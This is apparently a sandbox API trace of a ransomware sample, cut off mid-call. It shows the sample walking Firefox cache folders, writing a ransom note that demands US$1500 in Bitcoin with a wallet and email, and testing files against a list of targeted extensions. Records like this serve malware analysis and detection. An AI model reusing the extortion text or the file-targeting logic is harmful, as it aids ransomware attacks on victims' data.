FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.174] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.174] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.174] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.174] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.174] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x36, dwReserved1=0x0, cFileName="7", cAlternateFileName="")) returned 1 [0086.174] lstrcmpA (lpString1=".", lpString2="7") returned -1 [0086.174] lstrcmpA (lpString1="..", lpString2="7") returned -1 [0086.174] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.174] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="7" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7" [0086.174] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7") returned 93 [0086.175] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\7\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.184] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.184] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.184] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.185] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.185] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.185] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.185] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x37, dwReserved1=0x0, cFileName="8", cAlternateFileName="")) returned 1 [0086.185] lstrcmpA (lpString1=".", lpString2="8") returned -1 [0086.185] lstrcmpA (lpString1="..", lpString2="8") returned -1 [0086.185] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.185] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="8" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8" [0086.185] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8") returned 93 [0086.185] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\8\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.185] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.185] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.185] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.185] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.186] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.186] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0086.186] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38, dwReserved1=0x0, cFileName="9", cAlternateFileName="")) returned 1 [0086.186] lstrcmpA (lpString1=".", lpString2="9") returned -1 [0086.186] lstrcmpA (lpString1="..", lpString2="9") returned -1 [0086.186] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0086.186] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9" [0086.186] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9") returned 93 [0086.186] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0086.192] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.192] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e8d330, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e8d330, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.192] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.192] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.192] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0086.192] lstrcmpA (lpString1=".", lpString2="10") returned -1 [0086.192] lstrcmpA (lpString1="..", lpString2="10") returned -1 [0086.192] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\*.*") returned="*.*" [0086.192] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\", lpString2="10" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10" [0086.192] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10") returned 96 [0086.192] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0086.193] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.193] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.193] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.193] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.193] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f47cd0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f47cd0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f47cd0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x534f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="16A09d01", cAlternateFileName="")) returned 1 [0086.193] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0086.193] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="16A09d01") returned 1 [0086.193] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="16A09d01") returned 1 [0086.193] lstrcmpiA (lpString1="", lpString2="16A09d01") returned -1 [0086.193] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\*.*") returned="*.*" [0086.193] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\" [0086.193] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\") returned="" [0086.193] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\HOW TO DECRYPT FILES.txt" [0086.193] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\how to decrypt files.txt")) returned 0xffffffff [0086.193] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0086.194] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.195] WriteFile (in: hFile=0xa8, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.196] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.196] CloseHandle (hObject=0xa8) returned 1 [0086.196] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\", lpString2="16A09d01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01" [0086.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.ems") returned 0 [0086.196] lstrlenA (lpString="*.ems") returned 5 [0086.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.db") returned 0 [0086.196] lstrlenA (lpString="*.db") returned 4 [0086.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.dbf") returned 0 [0086.196] lstrlenA (lpString="*.dbf") returned 5 [0086.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.myox") returned 0 [0086.196] lstrlenA (lpString="*.myox") returned 6 [0086.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.myo") returned 0 [0086.196] lstrlenA (lpString="*.myo") returned 5 [0086.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.qbw") returned 0 [0086.196] lstrlenA (lpString="*.qbw") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.qbb") returned 0 [0086.197] lstrlenA (lpString="*.qbb") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.qbm") returned 0 [0086.197] lstrlenA (lpString="*.qbm") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.qbo") returned 0 [0086.197] lstrlenA (lpString="*.qbo") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.qbx") returned 0 [0086.197] lstrlenA (lpString="*.qbx") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.qba") returned 0 [0086.197] lstrlenA (lpString="*.qba") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.qby") returned 0 [0086.197] lstrlenA (lpString="*.qby") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.qbj") returned 0 [0086.197] lstrlenA (lpString="*.qbj") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.ofx") returned 0 [0086.197] lstrlenA (lpString="*.ofx") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.qif") returned 0 [0086.197] lstrlenA (lpString="*.qif") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.mye") returned 0 [0086.197] lstrlenA (lpString="*.mye") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.mbox") returned 0 [0086.197] lstrlenA (lpString="*.mbox") returned 6 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.eml") returned 0 [0086.197] lstrlenA (lpString="*.eml") returned 5 [0086.197] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.pst") returned 0 [0086.197] lstrlenA (lpString="*.pst") returned 5 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.ost") returned 0 [0086.198] lstrlenA (lpString="*.ost") returned 5 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.idx") returned 0 [0086.198] lstrlenA (lpString="*.idx") returned 5 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.dbx") returned 0 [0086.198] lstrlenA (lpString="*.dbx") returned 5 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.sql") returned 0 [0086.198] lstrlenA (lpString="*.sql") returned 5 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.mdb") returned 0 [0086.198] lstrlenA (lpString="*.mdb") returned 5 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.fdb") returned 0 [0086.198] lstrlenA (lpString="*.fdb") returned 5 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.wab") returned 0 [0086.198] lstrlenA (lpString="*.wab") returned 5 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.dat") returned 0 [0086.198] lstrlenA (lpString="*.dat") returned 5 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01", pszSpec="*.txt") returned 0 [0086.198] lstrlenA (lpString="*.txt") returned 5 [0086.198] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 